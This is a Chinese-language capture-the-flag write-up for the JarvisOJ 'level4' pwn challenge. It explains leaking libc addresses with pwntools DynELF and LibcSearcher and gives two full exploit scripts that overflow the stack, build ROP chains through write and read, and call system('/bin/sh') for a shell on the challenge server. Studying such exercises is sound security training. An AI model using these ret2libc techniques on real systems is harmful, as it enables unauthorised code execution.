JarvisOj level4

当题目未提供libc.so的时候

可以使用DynELF寻找我们需要函数的地址

关于DynELF(https://blog.csdn.net/qq_40827990/article/details/86689760

我的理解是,DynELF通过它自己有的各种libc.so去爆破该ELF的libc.so

所以需要一个leak函数支持多次的write函数之类的功能

就好比可以

while 1:
    leak()

leak的参数addr 是我们需要用write写出数据的地址

函数内写/接受 4字节8字节都行 返回不需要u32(data) 直接返回data

DynELF(leak,elf=elf) 第一个参数就是leak函数 第二个参数是你的程序elf

之后使用lookup("function_name","libc") function_name就是需要查询的函数真实地址 返回为int

还有一点就是 leak里面返回main有时候行不通 估计是堆栈的原因

所以返回start 把所有东西全清空

改题构造leak之后 找到system地址

通过read 把"/bin/sh"读到data段 (一般是bss段,不过这里bss段太短了装不下,所以找可执行的data段)

注意read的使用要严格控制字符数 也就是第三个参数

最开始这里使用了io.sendline("/bin/shx00")

字符串里面8个字符,但是还sendline还在末尾加了换行符导致exp出错

from pwn import *

io=remote('pwn2.jarvisoj.com',9880)
# io=process('./level4')
elf=ELF('./level4')

start_addr=0x08048350
write_plt=0x08048340
read_plt=0x08048310

def leak(addr):
    payload='a'*(0x88+4)+p32(write_plt)+p32(start_addr)
    payload+=p32(1)+p32(addr)+p32(8)
    io.sendline(payload)
    leaked=io.recv(8) # 8 or 4 try
    # print("%#x -> %s" %(addr, (context or '').encode('hex')))
    return leaked

d=DynELF(leak,elf=elf)

system_addr=d.lookup('system','libc')
print "system_addr:"+hex(system_addr)
# read_addr=d.lookup('read','libc')
# print "read_addr:"+hex(read_addr)

data_addr=0x0804A01C
payload='a'*(0x88+4)+p32(read_plt)+p32(start_addr)
payload+=p32(0)+p32(data_addr)+p32(8)
io.sendline(payload)
io.send("/bin/shx00")
#io.sendline("/bin/shx00") wrong!!!

payload='a'*(0x88+4)+p32(system_addr)+p32(start_addr)
payload+=p32(data_addr)
io.sendline(payload)

io.interactive()

 泄露还可以用LibcSearcher 

只要得到一个函数的真实地址,就可以dump出libc地址

然后类似于给出了libc一样计算base_addr 继而计算其他函数的真实地址

两种方法都可能得到错误的libc.so 所以一种方法行不通的时候用另一种试试

from pwn import *
from LibcSearcher import *

io=remote('pwn2.jarvisoj.com',9880)
# io=process('./level4')
elf=ELF('./level4')

vul_addr=0x0804844B
payload='a'*(0x88+4)+p32(elf.plt['write'])+p32(vul_addr)
payload+=p32(1)+p32(elf.got['write'])+p32(4)
io.sendline(payload)
write_addr=u32(io.recv(4))
print "write_addr:"+hex(write_addr)

libc=LibcSearcher("write",int(write_addr))
base=write_addr-libc.dump("write")
print "base:"+hex(base)

system_addr=base+libc.dump("system")
print "system_addr:"+hex(system_addr)
# 0x******980

str_addr=base+libc.dump("str_bin_sh")
print "str_addr:"+hex(str_addr)

payload='a'*(0x88+4)+p32(system_addr)+p32(vul_addr)
payload+=p32(str_addr)
io.sendline(payload)

io.interactive()
原文地址:https://www.cnblogs.com/lxy8584099/p/11861875.html